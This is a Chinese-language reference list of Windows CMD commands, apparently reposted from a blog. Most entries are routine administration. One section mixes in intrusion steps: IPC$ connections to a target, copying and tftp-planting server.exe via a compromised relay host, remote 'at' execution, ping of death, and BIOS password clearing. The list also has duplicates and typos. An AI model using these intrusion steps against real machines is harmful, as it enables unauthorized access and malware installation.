# 一、常用的100个CMD指令

1. gpedit.msc—–组策略

2. sndrec32——-录音机

3. Nslookup——-IP地址侦测器 ，是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。 它在 Windows NT/2000/XP 中均可使用 , 但在 Windows 98 中却没有集成这一个工具。

4. explorer——-打开资源管理器

5. logoff———注销命令

6. shutdown——-60秒倒计时关机命令

7. lusrmgr.msc—-本机用户和组

8. services.msc—本地服务设置

9. oobe/msoobe /a—-检查XP是否激活

10. notepad——–打开记事本

11. cleanmgr——-垃圾整理

12. net start messenger—-开始信使服务

13. compmgmt.msc—计算机管理

14. net stop messenger—–停止信使服务

15. conf———–启动netmeeting

16. dvdplay——–DVD播放器

17. charmap——–启动字符映射表

18. diskmgmt.msc—磁盘管理实用程序

19. calc———–启动计算器

20. dfrg.msc——-磁盘碎片整理程序

21. chkdsk.exe—–Chkdsk磁盘检查

22. devmgmt.msc— 设备管理器

23. regsvr32 /u \*.dll—-停止dll文件运行

24. drwtsn32—— 系统医生

25. rononce -p—-15秒关机

26. dxdiag———检查DirectX信息

27. regedt32——-注册表编辑器

28. Msconfig.exe—系统配置实用程序

29. rsop.msc——-组策略结果集

30. mem.exe——–显示内存使用情况

31. regedit.exe—-注册表

32. winchat——–XP自带局域网聊天

33. progman——–程序管理器

34. winmsd———系统信息

35. perfmon.msc—-计算机性能监测程序

36. winver———检查Windows版本

37. sfc /scannow—–扫描错误并复原

38. taskmgr—–任务管理器（2000/xp/2003

39. winver———检查Windows版本

40. wmimgmt.msc—-打开windows管理体系结构(WMI)

41. wupdmgr——–windows更新程序

42. wscript——–windows脚本宿主设置

43. write———-写字板

44. winmsd———系统信息

45. wiaacmgr——-扫描仪和照相机向导

46. winchat——–XP自带局域网聊天

47. mem.exe——–显示内存使用情况

48. Msconfig.exe—系统配置实用程序

49. mplayer2——-简易widnows media player

50. mspaint——–画图板

51. mstsc———-远程桌面连接

52. mplayer2——-媒体播放机

53. magnify——–放大镜实用程序

54. mmc————打开控制台

55. mobsync——–同步命令

56. dxdiag———检查DirectX信息

57. iexpress——-木马捆绑工具，系统自带

58. fsmgmt.msc—–共享文件夹管理器

59. utilman——–辅助工具管理器

60. diskmgmt.msc—磁盘管理实用程序

61. dcomcnfg——-打开系统组件服务

62. ddeshare——-打开DDE共享设置

63. osk————打开屏幕键盘

64. odbcad32——-ODBC数据源管理器

65. oobe/msoobe /a—-检查XP是否激活 114. logoff———注销命令

66. notepad——–打开记事本

67. nslookup——-网络管理的工具向导

68. ntbackup——-系统备份和还原

69. narrator——-屏幕“讲述人”

70. ntmsmgr.msc—-移动存储管理器

71. ntmsoprq.msc—移动存储管理员操作请求

72. netstat -an—-(TC)命令检查接口

73. syncapp——–创建一个公文包

74. sysedit——–系统配置编辑器

75. sigverif——-文件签名验证程序

76. ciadv.msc——索引服务程序

77. shrpubw——–创建共享文件夹

78. secpol.msc—–本地安全策略

79. syskey———系统加密，一旦加密就不能解开，保护windows xp系统的双重密码

80. services.msc—本地服务设置

81. Sndvol32——-音量控制程序

82. sfc.exe——–系统文件检查器

83. sfc /scannow—windows文件保护

84. ciadv.msc——索引服务程序

85. tourstart——xp简介（安装完成后出现的漫游xp程序）

86. taskmgr——–任务管理器

87. eventvwr——-事件查看器

88. eudcedit——-造字程序

89. compmgmt.msc—计算机管理

90. packager——-对象包装程序

91. perfmon.msc—-计算机性能监测程序

92. charmap——–启动字符映射表

93. cliconfg——-SQL SERVER 客户端网络实用程序

94. Clipbrd——–剪贴板查看器

95. conf———–启动netmeeting

96. certmgr.msc—-证书管理实用程序

97. regsvr32 /u \*.dll—-停止dll文件运行

98. regsvr32 /u zipfldr.dll——取消ZIP支持

99. cmd.exe——–CMD命令提示符

100. chkdsk.exe—–Chkdsk磁盘检查

# 二、磁盘操作

# fdisk 隐含 参数 /mbr 重建主引导记录fdisk /mbr 重建主引导记录

# fdisk 在DOS7.0以后增加了/cmbr参数，可在挂接多个物理硬盘时，重建排序在后面的硬盘的主引导记录，例如：fdisk /cmbr 2，可重写第二个硬盘的主引导记录。（在使用时要十分小心，避免把好的硬盘引导记录损坏）

1. format 参数： /q 快速格式化 /u 不可恢复 /autotest 不提示 /s 创建 MS-DOS 引导盘 format c: /q /u /autotest

# 三、目录操作

1. DIR [目录名或文件名] [/S][/W][/P][/A] 列出目录 参数: /s 查找子目录/w 只显示文件名 /p 分页/a 显示隐藏文件 DIR format.exe /s查找该盘的format.exe文件并报告位置
2. MD (MKDIR) [目录名] 创建目录 MKDIR HELLOWORLD 创建HELLOWORLD目录
3. CD (CHDIR) [目录名] PS:可以使用相对目录或绝对目录 进入目录 CD AA 进入当前文件夹下的AA目录,cd .. 进入上一个文件夹cd \返回根目录;cd c:\windows 进入c:\windows文件夹
4. RD ( RMDIR) [目录名] 删除目录 RD HELLOWORLD 删除HELLOWORLD目录

# 四、文件操作

删除目录及其文件： rmdir [目录名或文件名] [/S][/W][/P][/A] 。例 rmdir c:\qqdownload/s 删除C盘的qqdownload目录。

del [目录名或文件名] [/f][/s][/q] 删除 参数:/f 删除只读文件/s 删除该目录及其下的所有内容 /q 删除前不确认

del c:\del /s /q 自动删除c盘的del目录。

copy [源文件或目录] [目标目录] 复制文件 copy d:\pwin98\*.\* c:\presetup 将d盘的pwin98的所有文件复制到c盘的presetup下。

attrib [参数][源文件或目录] 文件属性操作命令，attrib命令可以列出或修改磁盘上文件的属性，文件属性包括文档（A）、只读(R)、隐藏(H)、系统(S)，例如：attrib -h -r -s io.sys 执行这一命令后，将把DOS系统文件io.sys文件的只读、隐藏、系统属性去掉，这时将可以直接通过dir命令看到io.sys文件。attrib +h +r +s autoexec.bat将为自动批处理文件增加以上属性。

# 五、内存操作

debug 调试内存 参数 -w [文件名] 写入二进制文件 -o [地址1] [地址2] 输出内存 -q 退出 exp:o 70 10[return] o 71 01

[return] 01[return] q[return] DOS下通过写70h/71h PORT改变BIOS密码在CMOS中存放的对应位置的值,用以清除AWARD BIOS密码.debug 还可以破解硬盘保护卡等,但只可以在纯DOS下用。

# 六、分区操作

给磁盘分区，一般都会分成四个区，磁盘分区由主分区、扩展分区、逻辑分区组成。

PQ和Acronis Disk Director这两个工具都可以在不丢失数据的情况下对分区进行调整大小，以及合并等操作，XP系统的话你用PQ，WIN7系统的话用Acronis Disk Director 操作基本一样，可以去网上找教程来看看，再不重装系统的情况下都能调整分区大小，但是建议你还是先备份下数据再调整，毕竟对硬盘直接进行的操作有一定的危险性。

# 七、其他操作

* 1. net use ipipc$ " " /user:" " 建立IPC空链接
  2. net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接
  3. net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:
  4. net use h: ipc$ 登陆后映射对方C：到本地为H:
  5. net use ipipc$ /del 删除IPC链接
  6. net use h: /del 删除映射对方到本地的为H:的映射
  7. net user 用户名　密码　/add 建立用户
  8. net user guest /active:yes 激活guest用户
  9. net user 查看有哪些用户
  10. net user 帐户名 查看帐户的属性
  11. net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限
  12. net start 查看开启了哪些服务
  13. net start 服务名　开启服务；(如:net start telnet， net start schedule)
  14. net stop 服务名 停止某服务
  15. net time 目标ip 查看对方时间
  16. net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
  17. net view 查看本地局域网内开启了哪些共享
  18. net view ip 查看对方局域网内开启了哪些共享
  19. net config 显示系统网络设置
  20. net logoff 断开连接的共享
  21. net pause 服务名 暂停某服务
  22. net send ip "文本信息" 向对方发信息
  23. net ver 局域网内正在使用的网络连接类型和信息
  24. net share 查看本地开启的共享
  25. net share ipc$ 开启ipc$共享
  26. net share ipc$ /del 删除ipc$共享
  27. net share c$ /del 删除C：共享
  28. net user guest 12345 用guest用户登陆后用将密码改为12345
  29. net password 密码 更改系统登陆密码
  30. netstat -a 查看开启了哪些端口,常用netstat -an
  31. netstat -n 查看端口的网络连接情况，常用netstat -an
  32. netstat -v 查看正在进行的工作
  33. netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况
  34. netstat -s 查看正在使用的所有协议使用情况
  35. nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名
  36. tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。
  37. ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。
  38. ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
  39. ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息
  40. tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
  41. kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
  42. del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR \*.\*”表示删除当前目录下所有只读文件，“DEL/A-S \*.\*”表示删除当前目录下除系统文件以外的所有文件
  43. del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同）
  44. move 盘符路径要移动的文件名　存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
  45. fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令
  46. at id号 开启已注册的某个计划任务
      1. at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止
  47. at id号 /delete 停止某个已注册的计划任务
  48. at 查看所有的计划任务
  49. at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
  50. finger username @host 查看最近有哪些用户登陆
  51. telnet ip 端口 远和登陆服务器,默认端口为23
  52. open ip 连接到IP（属telnet登陆后的命令）
  53. telnet 在本机上直接键入telnet 将进入本机的telnet
  54. copy 路径文件名1　路径文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件
  55. copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下
  56. copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件
  57. copy ipadmin$svv.exe c: 或:copyipadmin$\*.\* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C：
  58. xcopy 要复制的文件或目录树　目标地址目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件，用参数/e才可连目录下的子目录一起复制到目标地址下。
  59. tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exec:server.exe 登陆后，将“IP”的server.exe下载到目标主机c:server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送
  60. tftp -i 对方IP　put c:server.exe 登陆后，上传本地c:server.exe至主机
  61. ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)
  62. route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface
  63. arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
  64. start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令
  65. mem 查看cpu使用情况
  66. attrib 文件名(目录名) 查看某文件（目录）的属性
  67. attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用+则是添加为某属性
  68. dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间
  69. date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间
  70. set 指定环境变量名称=要指派给变量的字符 设置环境变量
  71. set 显示当前所有的环境变量
  72. set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
  73. pause 暂停批处理程序，并显示出：请按任意键继续....
  74. if 在批处理程序中执行条件处理（更多说明见if命令及变量）
  75. goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签）
  76. call 路径批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）
  77. for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）
  78. echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置
  79. echo 信息 在屏幕上显示出信息
  80. echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
  81. findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
  82. find 文件名 查找某文件
  83. title 标题名字 更改CMD窗口标题名字
  84. color 颜色值 设置cmd控制台前景和背景颜色；0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
  85. prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为：EntSky )
  86. ver 在DOS窗口下显示版本信息
  87. winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）
  88. format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS
  89. md　目录名 创建目录
  90. replace 源文件　要替换文件的目录 替换文件
  91. ren 原文件名　新文件名 重命名文件名
  92. tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称
  93. type 文件名 显示文本文件的内容
  94. more 文件名 逐屏显示输出文件
  95. doskey 要锁定的命令=字符
  96. doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir=
  97. taskmgr 调出任务管理器
  98. chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误
  99. tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口
  100. exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe
  101. path 路径可执行文件的文件名 为可执行文件设置一个路径。
  102. cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?
  103. regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；
  104. regedit /e 注册表文件名 导出注册表
  105. cacls 文件名　参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。
  106. cacls 文件名 查看文件的访问用户权限列表
  107. REM 文本内容 在批处理文件中添加注解
  108. netsh 查看或更改本地网络配置情况

原文：https://blog.csdn.net/CDersTeam/article/details/51346911